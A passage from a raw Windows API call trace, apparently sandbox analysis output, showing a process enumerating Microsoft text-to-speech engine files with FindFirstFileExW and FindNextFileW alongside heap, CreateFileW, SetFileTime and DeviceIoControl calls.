Size=0x4000) returned 0x132a8a0 [0087.547] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.547] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.548] NtClose (Handle=0x178) returned 0x0 [0087.548] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305938) returned 1 [0087.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.548] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305938 [0087.549] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305b48 [0087.549] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0087.549] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.549] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0087.549] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0087.549] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.550] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.550] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.550] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0087.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.551] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305a40 [0087.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbaa8 [0087.552] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305c50 [0087.552] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.553] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0087.553] GetLastError () returned 0x12 [0087.553] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0087.553] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.553] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.553] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0087.553] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305d58 [0087.553] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0087.554] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0087.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132a8a0 [0087.554] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132a8a0, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x132a8a0, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0087.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132a8a0) returned 1 [0087.554] NtClose (Handle=0x178) returned 0x0 [0087.554] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1305d58) returned 1 [0087.554] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305d58 [0087.555] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.555] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305e60 [0087.556] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0087.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.557] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb848fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x7bb848fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x7bb848fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.APL", cAlternateFileName="")) returned 1 [0087.557] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.558] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.558] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1305f68 [0087.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbac8 [0087.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306070 [0087.559] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.559] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 1 [0087.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbae8 [0087.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306178 [0087.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.561] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77357d7, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc77357d7, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c84ff3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c6aed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CSD", cAlternateFileName="")) returned 1 [0087.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbb08 [0087.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306280 [0087.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.563] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7d9b2cc, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7d9b2cc, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c93477c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2059c, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.IDX", cAlternateFileName="")) returned 1 [0087.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbb28 [0087.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306388 [0087.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.564] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7e0d6e9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7e0d6e9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7da2a43c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xe3770, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.LTS", cAlternateFileName="")) returned 1 [0087.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbb48 [0087.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306490 [0087.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.566] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8a49f, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7f8a49f, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dc3f77c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2515b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.TTS", cAlternateFileName="")) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbb68 [0087.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306598 [0087.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.568] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc812d3b4, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc812d3b4, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dcfde5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UDT", cAlternateFileName="")) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbb88 [0087.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13066a0 [0087.569] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.569] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8153513, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc8153513, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7df1319c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x308e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.UNT", cAlternateFileName="")) returned 1 [0087.569] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.570] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbba8 [0087.570] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13067a8 [0087.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.571] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 1 [0087.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.571] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.571] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.572] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bbbc8 [0087.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13068b0 [0087.572] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8240) returned 0x12ea380 [0087.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.573] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82d02c9, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc82d02c9, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7dff79dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x36e466, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.WIH", cAlternateFileName="")) returned 0 [0087.573] GetLastError () returned 0x12 [0087.573] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0087.573] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb848fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0x7bb848fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0x7bb848fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3ec2, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.APL", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77357d7, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc77357d7, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7c84ff3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c6aed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="M1033DSK.CSD", cAlternateFileName="")) returned 1 [0087.573] FindNextFileW (in: hFindFile=0x2e8f40, 